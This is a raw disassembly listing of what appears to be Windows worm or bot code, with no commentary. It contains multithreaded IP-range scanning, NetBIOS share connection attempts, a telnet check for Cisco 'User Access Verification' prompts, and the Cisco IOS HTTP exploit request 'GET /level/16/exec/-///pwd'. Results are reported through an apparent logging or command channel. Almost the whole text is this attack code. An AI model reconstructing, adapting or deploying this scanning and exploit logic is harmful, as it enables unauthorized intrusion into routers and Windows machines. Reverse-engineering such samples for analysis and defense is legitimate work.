sub_409F32:loc_409FA3p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4DF378h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41E840 add esp, 0Ch push [ebp+arg_0] call ds:dword_451420 inc eax push eax mov [ebp+arg_0], eax call ds:dword_4514F0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41E840 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_409BE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C2C proc near ; CODE XREF: sub_409F32+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AC70 cmp eax, 0Fh pop ecx jbe short loc_409C54 xor eax, eax jmp short loc_409CC5 ; --------------------------------------------------------------------------- loc_409C54: ; CODE XREF: sub_409C2C+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset dword_4447D0 push [ebp+arg_0] call sub_41EB80 add esp, 18h cmp [ebp+var_C], esi jnz short loc_409C81 call sub_41DBA0 mov [ebp+var_C], eax loc_409C81: ; CODE XREF: sub_409C2C+4Bj cmp [ebp+var_8], esi jnz short loc_409C8E call sub_41DBA0 mov [ebp+var_8], eax loc_409C8E: ; CODE XREF: sub_409C2C+58j cmp [ebp+var_4], esi jnz short loc_409C9B call sub_41DBA0 mov [ebp+var_4], eax loc_409C9B: ; CODE XREF: sub_409C2C+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_409CA7 call sub_41DBA0 loc_409CA7: ; CODE XREF: sub_409C2C+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_4DF378[ecx*8], eax loc_409CC5: ; CODE XREF: sub_409C2C+26j pop esi leave retn sub_409C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CC8 proc near ; CODE XREF: seg000:0040953Fp ; sub_409F32+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_409CF1 xor eax, eax jmp short loc_409D60 ; --------------------------------------------------------------------------- loc_409CF1: ; CODE XREF: sub_409CC8+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_4514F4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_45158C lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_45149C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_4514DC push esi mov edi, eax call ds:dword_451588 xor eax, eax cmp edi, ebx setnle al loc_409D60: ; CODE XREF: sub_409CC8+27j pop edi pop esi pop ebx leave retn sub_409CC8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call sub_41DEB0 push ebx push esi push edi mov edi, 2649h push edi call ds:dword_4514F4 push dword ptr [ebp+10h] mov [ebp-28h], ax call ds:dword_4514F4 mov [ebp-26h], ax call sub_41DBA0 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call ds:dword_4514F4 mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call ds:dword_4514F4 mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call sub_41E840 lea eax, [ebp-58h] push 20h push eax call sub_402670 mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_41D100 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call ds:dword_4514F4 push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_409E64 push offset aSocketOpenFail ; "socket open failed" jmp loc_409F25 ; --------------------------------------------------------------------------- loc_409E64: ; CODE XREF: seg000:00409E58j push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call ds:dword_451554 cmp eax, 14h mov [ebp+10h], eax jz short loc_409EAD call ds:dword_451488 push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_41D260 lea eax, [ebp-0D8h] push eax call sub_4161A7 add esp, 14h jmp short loc_409EF6 ; --------------------------------------------------------------------------- loc_409EAD: ; CODE XREF: seg000:00409E7Fj push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_41D100 add esp, 0Ch loc_409EC2: ; CODE XREF: seg000:00409EE9j cmp [ebp-100FAh], di jz short loc_409EFF lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call ds:dword_4514CC test eax, eax jge short loc_409EC2 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4161A7 pop ecx loc_409EF6: ; CODE XREF: seg000:00409EABj push esi call ds:dword_451588 jmp short loc_409F2B ; --------------------------------------------------------------------------- loc_409EFF: ; CODE XREF: seg000:00409EC9j push esi call ds:dword_451588 cmp word ptr [ebp-100EAh], 1 jnz short loc_409F20 push offset aSocketOpen_ ; "Socket open." call sub_4161A7 pop ecx push 1 pop eax jmp short loc_409F2D ; --------------------------------------------------------------------------- loc_409F20: ; CODE XREF: seg000:00409F0Ej push offset aSocketClosed_ ; "Socket closed." loc_409F25: ; CODE XREF: seg000:00409E5Fj call sub_4161A7 pop ecx loc_409F2B: ; CODE XREF: seg000:00409EFDj xor eax, eax loc_409F2D: ; CODE XREF: seg000:00409F1Ej pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F32 proc near ; DATA XREF: sub_40A146+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 mov ebx, esi pop ecx imul ebx, 234h loc_409F79: ; CODE XREF: sub_409F32+200j mov eax, ds:dword_4523BC[ebx] cmp ds:dword_4DF37C[eax*8], 0 jz loc_40A137 cmp [ebp+var_10], 0 push eax jz short loc_409FA3 lea eax, [ebp+var_150] push eax call sub_409C2C pop ecx jmp short loc_409FA8 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F32+60j call sub_409BE4 loc_409FA8: ; CODE XREF: sub_409F32+6Fj pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_4523BC[ebx] push [ebp+var_3C] push edi call ds:dword_45157C push eax lea eax, [ebp+var_28C] push offset dword_444854 push eax call sub_41D260 lea eax, [ebp+var_28C] push eax lea eax, dword_4521B8[ebx] push eax call sub_41D260 push [ebp+var_38] push [ebp+var_3C] push edi call sub_409CC8 add esp, 2Ch cmp eax, 1 jnz loc_40A127 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40A07C push offset dword_4E1378 call ds:dword_4F1364 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_45157C push eax lea eax, [ebp+var_28C] push offset dword_4448B8 push eax call sub_41D260 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40A05E cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40A052 lea eax, [ebp+var_140] loc_40A052: ; CODE XREF: sub_409F32+118j push eax push [ebp+var_40] call sub_40145D add esp, 14h loc_40A05E: ; CODE XREF: sub_409F32+FDj lea eax, [ebp+var_28C] push eax call sub_4161A7 mov [esp+2A8h+var_2A8], offset dword_4E1378 call ds:dword_4F1360 ; RtlLeaveCriticalSection jmp loc_40A127 ; --------------------------------------------------------------------------- loc_40A07C: ; CODE XREF: sub_409F32+CDj push edi call ds:dword_45157C push eax lea eax, [ebp+var_208] push eax call sub_41D260 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aNetbios_0 ; "netbios" push eax lea eax, [ebp+var_178] push eax call sub_41D260 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40A0C0 lea eax, [ebp+var_140] loc_40A0C0: ; CODE XREF: sub_409F32+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41D260 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call ds:off_4439F4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40A127: ; CODE XREF: sub_409F32+C3j ; sub_409F32+145j push 7D0h call ds:dword_4F12F4 ; Sleep jmp loc_409F79 ; --------------------------------------------------------------------------- loc_40A137: ; CODE XREF: sub_409F32+55j push esi call sub_40905B pop ecx push 0 call near ptr 3D0000h xchg eax, esp sub_409F32 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A146 proc near ; DATA XREF: seg000:00405D04o ; seg000:0040767Co var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_451530 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_4DF378[ecx*8], eax pop ecx mov edi, esp rep movsd call loc_40970E push 0Bh call sub_408F87 add esp, 150h cmp eax, ebx jnz short loc_40A214 mov esi, offset dword_4E1378 push esi call ds:dword_4F136C ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4F1368 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40A214 lea eax, [ebp+var_1CC] push offset dword_444908 push eax call sub_41D260 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40A1FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40145D add esp, 14h loc_40A1FE: ; CODE XREF: sub_40A146+99j lea eax, [ebp+var_1CC] push eax call sub_4161A7 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40A214: ; CODE XREF: sub_40A146+63j ; sub_40A146+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_4F12F4 mov edi, ebx mov ds:dword_4DF37C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40A2E1 loc_40A232: ; CODE XREF: sub_40A146+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset dword_444964 push eax call sub_41D260 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_408D3F mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_4523BC[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_409F32 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_40A2AC loc_40A2A1: ; CODE XREF: sub_40A146+164j cmp [ebp+var_4], ebx jnz short loc_40A2D3 push 1Eh call esi ; dword_4F12F4 jmp short loc_40A2A1 ; --------------------------------------------------------------------------- loc_40A2AC: ; CODE XREF: sub_40A146+159j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset dword_4449C4 push eax call sub_41D260 lea eax, [ebp+var_1CC] push eax call sub_4161A7 add esp, 10h loc_40A2D3: ; CODE XREF: sub_40A146+15Ej push 1Eh call esi ; dword_4F12F4 inc edi cmp edi, [ebp+var_20] jbe loc_40A232 loc_40A2E1: ; CODE XREF: sub_40A146+E6j cmp [ebp+var_30], ebx jz loc_40A38B mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; dword_4F12F4 loc_40A2F6: ; CODE XREF: sub_40A146+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_4DF378[eax*8] push eax call ds:dword_45157C push eax lea eax, [ebp+var_1CC] push offset dword_444A28 push eax call sub_41D260 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40A344 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40145D add esp, 14h loc_40A344: ; CODE XREF: sub_40A146+1DFj lea eax, [ebp+var_1CC] push eax call sub_4161A7 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov ds:dword_4DF37C[eax*8], ebx call esi ; dword_4F12F4 push 0Bh call sub_408F87 cmp eax, 1 pop ecx jnz short loc_40A37B push offset dword_4E1378 call ds:dword_4F136C ; RtlDeleteCriticalSection loc_40A37B: ; CODE XREF: sub_40A146+228j push [ebp+var_2C] call sub_40905B pop ecx push ebx call near ptr 3D0000h xchg eax, ebx loc_40A38B: ; CODE XREF: sub_40A146+19Ej ; sub_40A146+25Dj mov eax, [ebp+var_2C] cmp ds:dword_4DF37C[eax*8], 1 jnz loc_40A2F6 push 7D0h call esi ; dword_4F12F4 jmp short loc_40A38B sub_40A146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3A5 proc near ; DATA XREF: sub_40A472+7Bo ; seg000:0040A5DEo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41D100 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call ds:dword_4514F4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40A463 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_45149C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_4523C4[ecx], esi jz short loc_40A463 push [ebp+var_38] push [ebp+var_28] call ds:dword_45157C push eax mov edi, offset dword_4E1D3C push offset dword_444A94 push edi call sub_41D260 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_40145D push edi call sub_4161A7 add esp, 28h loc_40A463: ; CODE XREF: sub_40A3A5+5Dj ; sub_40A3A5+7Ej push esi call ds:dword_451588 pop edi xor eax, eax pop esi leave retn 4 sub_40A3A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40A472 proc near ; DATA XREF: seg000:00405FE1o var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_4F12F4 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40A4A0: ; CODE XREF: sub_40A472+ECj push [ebp+var_30] push [ebp+var_20] call ds:dword_45157C push eax lea eax, [ebp+var_134] push offset dword_444AE4 push eax call sub_41D260 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_4521B8 push eax call sub_41D800 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40A3A5 push edi push edi call ds:dword_4F131C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40A50C loc_40A501: ; CODE XREF: sub_40A472+98j cmp [ebp+var_C], edi jnz short loc_40A50C push 32h call esi ; dword_4F12F4 jmp short loc_40A501 ; --------------------------------------------------------------------------- loc_40A50C: ; CODE XREF: sub_40A472+8Dj ; sub_40A472+92j push [ebp+var_4] call ds:dword_4F12FC ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; dword_4F12F4 lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_41E840 add esp, 0Ch push [ebp+arg_0] call ds:dword_451420 inc eax push eax mov [ebp+arg_0], eax call ds:dword_4514F0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_41E840 add esp, 0Ch jmp loc_40A4A0 sub_40A472 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+8] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp-0B0h] rep movsd mov esi, ds:dword_4F12F4 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40A591: ; CODE XREF: seg000:0040A61Fj push dword ptr [ebp-2Ch] push dword ptr [ebp-1Ch] call ds:dword_45157C push eax lea eax, [ebp-130h] push offset dword_444B34 push eax call sub_41D260 lea eax, [ebp-130h] push 1FFh push eax mov eax, [ebp-20h] imul eax, 234h add eax, offset dword_4521B8 push eax call sub_41D800 add esp, 1Ch lea eax, [ebp-4] push eax lea eax, [ebp-0B0h] push edi push eax push offset sub_40A3A5 push edi push edi call ds:dword_4F131C ; CreateThread cmp eax, edi mov [ebp+8], eax jz short loc_40A5FD loc_40A5F2: ; CODE XREF: seg000:0040A5FBj cmp [ebp-8], edi jnz short loc_40A5FD push 32h call esi ; dword_4F12F4 jmp short loc_40A5F2 ; --------------------------------------------------------------------------- loc_40A5FD: ; CODE XREF: seg000:0040A5F0j ; seg000:0040A5F5j push dword ptr [ebp+8] call ds:dword_4F12FC ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; dword_4F12F4 mov eax, [ebp-2Ch] cmp eax, [ebp-28h] jz short loc_40A624 inc dword ptr [ebp-2Ch] jmp loc_40A591 ; --------------------------------------------------------------------------- loc_40A624: ; CODE XREF: seg000:0040A61Aj push dword ptr [ebp-1Ch] call ds:dword_45157C push eax lea eax, [ebp-130h] push offset dword_444B90 push eax call sub_41D260 push edi lea eax, [ebp-130h] push dword ptr [ebp-14h] push eax lea eax, [ebp-0ACh] push eax push dword ptr [ebp-0B0h] call sub_40145D push dword ptr [ebp-20h] call sub_40905B add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 290h push esi xor esi, esi push edi push esi push 1 push 2 call ds:dword_451570 mov edi, eax cmp edi, esi jl loc_40A7DD push 10h lea eax, [ebp-10h] push esi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_4514F4 mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_40A7DD push 40h lea eax, [ebp-50h] push esi push eax call sub_41D100 push 40h lea eax, [ebp-90h] push esi push eax call sub_41D100 add esp, 18h lea eax, [ebp-50h] push esi push 40h push eax push edi call ds:dword_45150C test eax, eax jle loc_40A7DD push esi lea eax, [ebp-50h] push 40h push eax push edi call ds:dword_45150C push esi push 6 push offset dword_444BE4 push edi call ds:dword_451540 push esi lea eax, [ebp-90h] push 40h push eax push edi call ds:dword_45150C push 6 lea eax, [ebp-90h] push offset dword_444BEC push eax call sub_41EC40 add esp, 0Ch test eax, eax jz loc_40A7DD push 28h lea eax, [ebp-50h] push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"... push eax call sub_41EC40 add esp, 0Ch test eax, eax jnz short loc_40A7DD lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aNetbios ; "NetBios" push eax push offset unk_444C20 lea eax, [ebp-290h] push 200h push eax call sub_41D360 push esi lea eax, [ebp-290h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-290h] push eax call sub_4161A7 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc ds:dword_4439F8[eax] push 1 lea eax, dword_4439F8[eax] pop eax jmp short loc_40A7DF ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: seg000:0040A68Cj ; seg000:0040A6D4j ... xor eax, eax loc_40A7DF: ; CODE XREF: seg000:0040A7DBj pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1210h call sub_41DEB0 push ebx push esi xor ebx, ebx push edi push ebx push 1 push 2 call ds:dword_451570 mov edi, eax cmp edi, ebx jl loc_40A951 push 10h lea eax, [ebp-10h] push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_4514F4 mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_40A951 push ebx push offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n" call sub_41AC70 pop ecx push eax push offset aGetLevel16Ex_0 ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n" push edi call ds:dword_451540 test eax, eax jl loc_40A951 mov esi, 1000h lea eax, [ebp-1210h] push esi push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-1210h] push ebx push esi push eax push edi call ds:dword_45150C loc_40A899: ; DATA XREF: seg002:004460F4o ; seg002:00446138o ... mov esi, eax cmp esi, ebx jl loc_40A951 push edi call ds:dword_451588 cmp esi, 5 jl loc_40A951 lea eax, [ebp-1210h] push offset aHttp1_0200Ok ; "HTTP/1.0 200 OK" push eax call sub_41DBE0 pop ecx test eax, eax pop ecx jz loc_40A951 lea eax, [ebp-1210h] push offset aCisco ; "cisco" push eax call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40A951 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aNetbios ; "NetBios" push eax push offset unk_444CD4 lea eax, [ebp-210h] push 200h push eax call sub_41D360 push ebx lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-210h] push eax call sub_4161A7 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc ds:dword_4439F8[eax] push 1 lea eax, dword_4439F8[eax] pop eax jmp short loc_40A953 ; --------------------------------------------------------------------------- loc_40A951: ; CODE XREF: seg000:0040A804j ; seg000:0040A84Cj ... xor eax, eax loc_40A953: ; CODE XREF: seg000:0040A94Fj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A958 proc near ; CODE XREF: seg000:0040AD39p ; seg000:0040E6F0p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_445394 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_4453A0 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, ds:byte_4E1F44 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call ds:dword_4F1370 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41ECF0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41ECF0 mov esi, [ebp+arg_4] add esp, 10h lea eax, [ebp+var_354] push edi push offset dword_4E1F48 push offset dword_4E1F4C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call ds:dword_451590 cmp eax, 5 mov ebx, 4C3h jz short loc_40AA1F cmp eax, ebx jnz short loc_40AA29 loc_40AA1F: ; CODE XREF: sub_40A958+C1j push edi push edi push edi push esi call ds:dword_451590 loc_40AA29: ; CODE XREF: sub_40A958+C5j cmp eax, 5 jz short loc_40AA37 cmp eax, ebx jz short loc_40AA37 push 1 pop eax jmp short loc_40AA39 ; --------------------------------------------------------------------------- loc_40AA37: ; CODE XREF: sub_40A958+D4j ; sub_40A958+D8j xor eax, eax loc_40AA39: ; CODE XREF: sub_40A958+DDj pop edi pop esi pop ebx leave retn sub_40A958 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA3E proc near ; CODE XREF: seg000:0040AD8Bp ; seg000:0040AE6Bp ... var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_4453A8 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_4453B4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, ds:byte_4E1F50 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call ds:dword_4F1370 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41ECF0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41ECF0 add esp, 10h loc_40AACF: ; CODE XREF: sub_40AA3E+AFj push esi lea eax, [ebp+var_354] push esi push eax call ds:dword_451430 test eax, eax jz short loc_40AAEF push 7D0h call ds:dword_4F12F4 ; Sleep jmp short loc_40AACF ; --------------------------------------------------------------------------- loc_40AAEF: ; CODE XREF: sub_40AA3E+A2j push 1 pop eax pop edi pop esi leave retn 